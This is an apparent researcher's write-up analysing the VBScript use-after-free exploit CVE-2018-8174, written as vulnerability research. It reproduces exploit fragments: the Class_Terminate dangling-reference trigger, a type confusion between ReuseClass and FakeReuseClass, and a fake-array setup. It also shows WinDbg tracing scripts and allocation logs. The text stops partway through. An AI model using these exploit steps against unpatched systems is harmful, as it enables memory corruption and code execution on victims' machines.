
Analysis of VBS exploit CVE-2018-8174
When this exploit first emerged in the turn of April and May it spiked my interest, since despite heavy obfuscation, the code structure seemed well organized and the vulnerability exploitation code small enough to make analysis simpler. I downloaded POC from github and decided it would be a good candidate for taking a look at under the hood. At that time two analyses were already published, first from 360 and second from Kaspersky. Both of them helped me understand how it worked, but were not enough to deeply understand every aspect of the exploit. That's why I've decided to analyze it on my own and share my findings.
First in order to remove integer obfuscation I used regex substitution in python script:
import re
def process(matchobj):
line = matchobj.group(1)
line = line.lower().replace('&h', '0x')
return str(eval(line)) # extremly safe :)
data = open('analysis.vbs', 'r').read()
result = re.sub('\((&h[^\)]+)\)', process, data)
open('result.vbs', 'w').write(result)
As to obfuscated names, I renamed them progressively during analysis. This analysis is best to be read with source code to which link is at the end.
Vulnerability occurs, when object is terminated and custom defined function Class_Terminate() is called. In this function reference to the object being freed is saved in UafArray. From now on UafArray(i) refers to the deleted object.
Class ClassTerminateA
Private Sub Class_Terminate()
Set UafArrayA(UafCounter)=FreedObjectArray(1)
UafCounter=UafCounter+1
FreedObjectArray(1)=1 ' fix ref counter
End Sub
End Class
...
UafCounter=0
For idx=0 To 6
ReDim FreedObjectArray(1)
Set FreedObjectArray(1)=New ClassTerminateA
Erase FreedObjectArray
Next
Also notice the last line in Class_Terminate(). When we copy ClassTerminate object to UafArray its reference counter is increased. To balance it out we free it again by assigning other value to FreedObjectArray. Without this, object's memory wouldn't be freed despite calling Class_Terminate on it and next object wouldn't be allocated in its place.

Creating and deleting new objects is repeated 7 times in a loop, after that a new object of class ReuseClass is created. It's allocated in the same memory that was previously occupied by the 7 ClassTerminate instances.
To better understand that, here is a simple WinDbg script that tracks all those allocations:
bp vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";
bp vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";
bp vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";
Here is allocation log from UafTrigger function:
Class EmptyClass created at 3a7d90
Class EmptyClass created at 3a7dc8
...
Class ReuseClass created at 22601a0
Class ReuseClass created at 22601d8
Class ReuseClass created at 2260210
...
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 22605c8
...
Class ClassTerminateB created at 2260600
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 1
Class ClassTerminateB at 2260600, terminate called
Class ClassTerminateB at: 70541748 ref counter, release called: 5
Class ClassTerminateB at: 70541748 ref counter, release called: 4
Class ClassTerminateB at: 70541748 ref counter, release called: 3
Class ClassTerminateB at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 2260600
We can immediately see that ReuseClass is indeed allocated in the same memory that was assigned to 7 previous instances of ClassTerminate
This is repeated twice. We end up with two objects referenced by UafArrays. None of those references is reflected in object's reference counter.
In this log we can also notice that even after Class_Terminate was called there are some object manipulations that change its reference counter.
That's why if we didn't balance this counter out in Class_Terminate we would get something like this:
Class ClassTerminateA created at 2240708
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 1
Class ClassTerminateA at 2240708, terminate called
Class ClassTerminateA at: 6c161748 ref counter, release called: 5
Class ClassTerminateA at: 6c161748 ref counter, release called: 4
Class ClassTerminateA at: 6c161748 ref counter, release called: 3
Class ReuseClass created at 2240740
Different allocation addresses. Exploit would fail to create use after free condition.
Having created those two objects with 7 uncounted references to each, we established read arbitrary memory primitive.
There are two similar classes ReuseClass and FakeReuseClass. By replacing first class with second one a type confusion on mem member occurs.
Class ReuseClass
Dim mem
Function P
End Function
Function SetProp(Value)
mem=Value ' will actually call Default Poperty Get
SetProp=0
End Function
End Class
Class FakeReuseClass
Dim mem
Function ReadBstrValll
ReadBstrValll=LenB(mem(some_memory+8))
End Function
Function Q
End Function
End Class
In SetProp function ReuseClass.mem is saved and Default Property Get of class ReplacingClass_* is called, result of that call will be placed in ReuseClass.mem.
Public Default Property Get Q
Dim objectImitatingArray
Q=CDbl("174088534690791e-324") 'hex value: db 0, 0, 0, 0, 0Ch, 20h, 0, 0
For idx=0 To 6
UafArrayA(idx)=0
Next
Set objectImitatingArray=New FakeReuseClass
objectImitatingArray.mem = FakeArrayString
For idx=0 To 6
Set UafArrayA(idx)=objectImitatingArray
Next
End Property